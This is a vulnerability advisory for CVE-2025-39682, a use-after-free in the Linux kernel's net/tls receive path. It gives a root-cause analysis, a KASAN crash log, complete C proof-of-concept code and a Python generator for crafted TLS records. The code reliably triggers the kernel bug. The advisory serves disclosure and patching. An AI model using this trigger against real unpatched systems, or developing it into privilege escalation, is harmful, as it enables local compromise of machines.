(CVE-2025-39682) Linux Kernel net/tls Use-After-Free in tls_sw_recvmsg Leading to Privilege Escalation
CVE: CVE-2025-39682
Affected Versions: Linux kernel 6.0 through 6.1.148; 6.2 through 6.6.102; 6.7 through 6.12.43; 6.13 through 6.16.3; 6.17-rc1 and 6.17-rc2
CVSS3.1: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Summary
| Product | Linux Kernel (net/tls) |
|---|---|
| Vendor | Linux |
| Severity | High — a local unprivileged attacker may exploit the vulnerability to elevate privileges to root |
| Affected Versions | Linux 6.0–6.1.148; 6.2–6.6.102; 6.7–6.12.43; 6.13–6.16.3; 6.17-rc1 and 6.17-rc2 |
| Tested Versions | Linux 6.12.41 |
| CVE Identifier | CVE-2025-39682 |
| CVE Description | A use-after-free vulnerability in the Linux kernel net/tls can be exploited to achieve local privilege escalation |
| CWE Classification(s) | CWE-416: Use After Free |
CVSS3.1 Scoring System
Base Score: 7.1 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
| Metric | Value |
|---|---|
| Attack Vector (AV) | Local |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | Low |
| User Interaction (UI) | None |
| Scope (S) | Unchanged |
| Confidentiality (C) | High |
| Integrity (I) | None |
| Availability (A) | High |
Product Background
The Linux kernel’s net/tls subsystem implements kernel-side TLS record processing. When a socket is configured with TCP_ULP set to "tls", receive-path processing is handled by tls_sw_recvmsg, which decrypts incoming TLS records and delivers plaintext to the caller. The stream parser (strp) maintains an anchor SKB (strp->anchor) to track in-progress records during zero-copy decryption.
Technical Details
In tls_sw_recvmsg, when copied == 0 the function loops to receive additional packets. A zero-length decrypted TLS record can produce this condition, causing the loop to continue:
if (len <= copied || (copied && control != TLS_RECORD_TYPE_DATA) || rx_more)
goto end;
On the next iteration, if the new record’s content type differs from the previously established control value, tls_record_content_type returns 0:
static int tls_record_content_type(struct msghdr *msg, struct tls_msg *tlm,
u8 *control)
{
int err;
if (!*control) {
*control = tlm->control;
if (!*control)
return -EBADMSG;
err = put_cmsg(msg, SOL_TLS, TLS_GET_RECORD_TYPE,
sizeof(*control), control);
if (*control != TLS_RECORD_TYPE_DATA) {
if (err || msg->msg_flags & MSG_CTRUNC)
return -EIO;
}
} else if (*control != tlm->control) {
return 0;
}
return 1;
}
When tls_record_content_type returns 0 or a negative value, the error path queues darg.skb (which is strp->anchor) into ctx->rx_list:
err = tls_record_content_type(msg, tls_msg(darg.skb), &control);
if (err <= 0) {
DEBUG_NET_WARN_ON_ONCE(darg.zc);
tls_rx_rec_done(ctx);
put_on_rx_list_err:
__skb_queue_tail(&ctx->rx_list, darg.skb);
goto recv_end;
}
The critical issue is that when darg.zc == 1 (zero-copy mode is active), queuing darg.skb into rx_list is forbidden. Doing so corrupts strp->anchor->frag_list and the anchor’s reference count, leading to a use-after-free when the socket is subsequently closed and tls_sw_release_resources_rx walks the freed memory.
KASAN confirms the UAF at kfree_skb_list_reason, triggered during tls_sw_release_resources_rx → skb_release_data on socket close. The SKB was originally allocated by tcp_sendmsg_locked and freed by tls_strp_msg_done inside tls_sw_recvmsg before the erroneous re-queue.
The trigger sequence is:
- Send a TLS Application Data record (type
0x17, “Hello world”). - Send a zero-length TLS Handshake record (type
0x16, empty plaintext). - Partially consume the first record with
read(conn, buf, 0x100)— leavingcopied == 0on the next call. - Send a second Application Data record (type
0x17). - Call
recvmsg— the content-type mismatch between the handshake record and the subsequent application data triggers the buggyrx_listenqueue withdarg.zc == 1. - Close the socket — UAF fires in
tls_sw_release_resources_rx.
Proof-Of-Concept Crash log
- Run poc under Linux 6.12.41
[ 11.228748] BUG: KASAN: slab-use-after-free in kfree_skb_list_reason+0x47d/0x5d0
[ 11.230499] Read of size 8 at addr ffff8881090dd260 by task poc/420
[ 11.232211] CPU: 7 UID: 1000 PID: 420 Comm: poc Not tainted 6.12.41+ #17
[ 11.232216] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 11.232242] Call Trace:
[ 11.232261] <TASK>
[ 11.232273] dump_stack_lvl+0x66/0x80
[ 11.232373] print_report+0xc1/0x600
[ 11.232410] ? kfree_skb_list_reason+0x47d/0x5d0
[ 11.232413] kasan_report+0xaf/0xe0
[ 11.232416] ? kfree_skb_list_reason+0x47d/0x5d0
[ 11.232419] kfree_skb_list_reason+0x47d/0x5d0
[ 11.232422] ? __pfx_kfree_skb_list_reason+0x10/0x10
[ 11.232425] ? __pfx_____sys_recvmsg+0x10/0x10
[ 11.232462] ? _copy_from_user+0x2f/0x90
[ 11.232480] ? copy_msghdr_from_user+0xbf/0x120
[ 11.232492] ? __pfx_copy_msghdr_from_user+0x10/0x10
[ 11.232495] ? tls_setsockopt+0x311/0x12e0
[ 11.232498] skb_release_data+0x4e4/0x820
[ 11.232502] ? tls_sw_release_resources_rx+0x17e/0x390
[ 11.232504] sk_skb_reason_drop+0xf3/0x330
[ 11.232507] tls_sw_release_resources_rx+0x17e/0x390
[ 11.232510] ? __pfx_sock_write_iter+0x10/0x10
[ 11.232513] tls_sk_proto_close+0x4f5/0xa60
[ 11.232515] ? __pfx_tls_sk_proto_close+0x10/0x10
[ 11.232517] ? down_write+0xa9/0x120
[ 11.232546] ? __pfx_down_write+0x10/0x10
[ 11.232548] inet_release+0x109/0x270
[ 11.232566] __sock_release+0xa6/0x260
[ 11.232578] sock_close+0x15/0x20
[ 11.232581] __fput+0x2ef/0x9e0
[ 11.232599] __x64_sys_close+0x7c/0xd0
[ 11.232610] do_syscall_64+0x5a/0x120
[ 11.232622] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 11.232656] RIP: 0033:0x2a2a47
[ 11.232727] Code: ff ff f7 d8 64 89 02 b8 ff ff ff ff eb d4 e8 70 3a 00 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 41 c3 48 83 ec 18 89 7c 24 0c e8 c3 6a fc ff
[ 11.232730] RSP: 002b:00007ffe8cedf5a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000003
[ 11.232749] RAX: ffffffffffffffda RBX: 00007ffe8cee0cd8 RCX: 00000000002a2a47
[ 11.232751] RDX: 0000000000000000 RSI: 00007ffe8cedf600 RDI: 0000000000000005
[ 11.232752] RBP: 00007ffe8cee0ae0 R08: 0000000000000028 R09: 0000000000000004
[ 11.232754] R10: 00007ffe8cedf570 R11: 0000000000000246 R12: 0000000000000001
[ 11.232755] R13: 00007ffe8cee0cc8 R14: 00000000002c2cc8 R15: 0000000000000001
[ 11.232759] </TASK>
[ 11.279477] Allocated by task 420:
[ 11.280127] kasan_save_stack+0x24/0x50
[ 11.280138] kasan_save_track+0x14/0x30
[ 11.280140] __kasan_slab_alloc+0x59/0x70
[ 11.280142] kmem_cache_alloc_node_noprof+0x130/0x320
[ 11.280166] __alloc_skb+0x234/0x310
[ 11.280169] tcp_stream_alloc_skb+0x30/0x520
[ 11.280188] tcp_sendmsg_locked+0x8d5/0x36a0
[ 11.280190] tcp_sendmsg+0x2c/0x50
[ 11.280192] sock_write_iter+0x441/0x560
[ 11.280195] vfs_write+0x8d1/0xc70
[ 11.280198] ksys_write+0x16f/0x1c0
[ 11.280200] do_syscall_64+0x5a/0x120
[ 11.280204] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 11.280457] Freed by task 420:
[ 11.280907] kasan_save_stack+0x24/0x50
[ 11.281522] kasan_save_track+0x14/0x30
[ 11.281528] kasan_save_free_info+0x3b/0x60
[ 11.281530] __kasan_slab_free+0x38/0x50
[ 11.281532] kmem_cache_free+0x1be/0x4e0
[ 11.281535] tcp_read_done+0x15d/0x620
[ 11.281538] tls_strp_msg_done+0xa2/0x140
[ 11.281596] tls_sw_recvmsg+0x1060/0x1530
[ 11.281606] inet_recvmsg+0x36a/0x470
[ 11.281608] sock_recvmsg+0x1a6/0x250
[ 11.281610] ____sys_recvmsg+0x1ba/0x750
[ 11.281612] ___sys_recvmsg+0xd3/0x150
[ 11.281615] __sys_recvmsg+0xca/0x160
[ 11.281617] do_syscall_64+0x5a/0x120
[ 11.281620] entry_SYSCALL_64_after_hwframe+0x76/0x7e
Source code
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sendfile.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <err.h>
#include <linux/tls.h>
#include <sys/mman.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define PORT 4444
void setup_tls(int sock)
{
struct tls12_crypto_info_aes_ccm_128 crypto = {0};
crypto.info.version = TLS_1_2_VERSION;
crypto.info.cipher_type = TLS_CIPHER_AES_CCM_128;
SYSCHK(setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")));
SYSCHK(setsockopt(sock, SOL_TLS, TLS_RX, &crypto, sizeof(crypto)));
}
int main(int argc, char **argv)
{
char control[1024];
char buf[4096];
int listener, conn, client;
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(PORT),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK)};
socklen_t len = sizeof(addr);
setvbuf(stdout, 0, 2, 0);
listener = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));
if (listener < 0)
{
perror("socket listener");
exit(1);
}
SYSCHK(bind(listener, (struct sockaddr *)&addr, sizeof(addr)));
SYSCHK(listen(listener, 1));
client = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));
SYSCHK(connect(client, (struct sockaddr *)&addr, sizeof(addr)));
conn = SYSCHK(accept(listener, NULL, 0));
setup_tls(conn);
/* MESSAGE 1: Raw TLS 1.2 record for plaintext: 'Hello world' */
/* Sequence Number: 0 */
/* Total length: 40 bytes */
unsigned char tls_record_1[] = {
0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x26, 0xa2, 0x33, 0xde, 0x8d, 0x94, 0xf0, 0x29, 0x6c, 0xb1, 0xaf,
0x6a, 0x75, 0xb2, 0x93, 0xad, 0x45, 0xd5, 0xfd, 0x03, 0x51, 0x57, 0x8f,
0xf9, 0xcc, 0x3b, 0x42};
unsigned int tls_record_1_len = sizeof(tls_record_1);
/* MESSAGE 2: Raw TLS 1.2 record for plaintext: '' */
/* Sequence Number: 1 */
/* Total length: 29 bytes */
unsigned char tls_record_2[] = {
0x16, 0x03, 0x03, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x3e, 0xf0, 0xfe, 0xee, 0xd9, 0xe2, 0x5d, 0xc7, 0x11, 0x4c, 0xe6,
0xb4, 0x7e, 0xef, 0x40, 0x2b};
unsigned int tls_record_2_len = sizeof(tls_record_2);
/* MESSAGE 3: Raw TLS 1.2 record for plaintext: 'Hello world' */
/* Sequence Number: 2 */
/* Total length: 40 bytes */
unsigned char tls_record_3[] = {
0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0xe5, 0x3d, 0x19, 0x3d, 0xca, 0xb8, 0x16, 0xb6, 0xff, 0x79, 0x87,
0x8e, 0xa1, 0xd0, 0xcd, 0x33, 0xb5, 0x86, 0x2b, 0x17, 0xf1, 0x52, 0x2a,
0x55, 0x62, 0x65, 0x11};
unsigned int tls_record_3_len = sizeof(tls_record_3);
write(client, tls_record_1, sizeof(tls_record_1));
write(client, tls_record_2, sizeof(tls_record_2));
int n = read(conn, buf, 0x100);
write(client, tls_record_3, sizeof(tls_record_3));
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf),
};
struct msghdr lmsg = {
.msg_name = NULL,
.msg_namelen = 0,
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
.msg_flags = 0,
};
n = recvmsg(conn, &lmsg, 0);
close(conn);
return 0;
}
Python script to generate tls_record with content type [0x17, 0x16, 0x17], the second tls_record have zero length.
from Crypto.Cipher import AES
import struct
def generate_tls_record(plaintext, key, salt, rec_seq_int, content_type=b'\x17'):
"""
Generates a raw TLS 1.2 record with AES-CCM-128 encryption.
Args:
plaintext (bytes): The data to encrypt.
key (bytes): The 128-bit (16-byte) encryption key.
salt (bytes): The 4-byte salt.
rec_seq_int (int): The record sequence number as an integer.
content_type (bytes, optional): The TLS record content type.
Defaults to b'\x17' (Application Data).
Returns:
bytes: The raw TLS 1.2 record.
"""
# Convert the integer sequence number to an 8-byte big-endian byte string
rec_seq_bytes = rec_seq_int.to_bytes(8, 'big')
# TLS protocol version for TLS 1.2
tls_version = b'\x03\x03'
# The 12-byte nonce is the 4-byte salt plus the 8-byte explicit sequence number
nonce = salt + rec_seq_bytes
# Construct the Additional Authenticated Data (AAD) for integrity protection
# AAD = seq_num + TLSCompressed.type + TLSCompressed.version + TLSCompressed.length
aad = rec_seq_bytes + content_type + tls_version + struct.pack('!H', len(plaintext))
# Initialize AES-CCM cipher with a 16-byte (128-bit) authentication tag
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=16)
# Provide the AAD to the cipher
cipher.update(aad)
# Encrypt the plaintext and get the authentication tag
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
# The encrypted payload for AEAD ciphers in TLS is: nonce_explicit + aead_ciphertext
encrypted_payload = rec_seq_bytes + ciphertext + tag
# Construct the 5-byte TLS record header: Type (1) + Version (2) + Length (2)
record_header = content_type + tls_version + struct.pack('!H', len(encrypted_payload))
# The final raw TLS record to be sent
raw_tls_record = record_header + encrypted_payload
return raw_tls_record
def format_as_c_array(data, var_name="tls_record"):
"""Formats a bytes object into a C-style unsigned char array."""
hex_values = [f"0x{byte:02x}" for byte in data]
c_array = f"unsigned char {var_name}[] = {{\n "
for i in range(0, len(hex_values), 12):
line = ", ".join(hex_values[i:i+12])
c_array += line
if i + 12 < len(hex_values):
c_array += ",\n "
c_array += "\n};\n"
c_array += f"unsigned int {var_name}_len = sizeof({var_name});"
return c_array
if __name__ == '__main__':
# Static parameters
key = b'\x00' * 16
salt = b'\x00' * 4
# Define an array of plaintexts to send (already as bytes)
plaintexts = [
b"Hello world",
b"",
b"Hello world"
]
content_types = [b"\x17", b"\x16", b"\x17"]
# Initialize the record sequence number
current_sequence_number = 0
# Loop through plaintexts and generate records
for i, plaintext_bytes in enumerate(plaintexts):
# Generate the TLS record. We don't need to pass content_type
# as we are using the default value (0x17).
tls_record = generate_tls_record(
plaintext_bytes,
key,
salt,
current_sequence_number,
content_types[i]
)
# Format the output as a unique C array
c_array_output = format_as_c_array(tls_record, f"tls_record_{i+1}")
# We decode the plaintext bytes here only for the comment generation
print(f"/* MESSAGE {i+1}: Raw TLS 1.2 record for plaintext: '{plaintext_bytes.decode()}' */")
print(f"/* Sequence Number: {current_sequence_number} */")
print(f"/* Total length: {len(tls_record)} bytes */")
print(c_array_output)
print("\n" + "="*50 + "\n")
# CRITICAL: Increment the sequence number for the next message
current_sequence_number += 1
Credit
Billy Jheng Bing-Jhong and Muhammad Alifa Ramdhan of STAR Labs SG Pte. Ltd.
Timeline
- 2025-08-12 — Vulnerability reported to Linux kernel security team
- 2025-09-05 — Patch released; CVE-2025-39682 published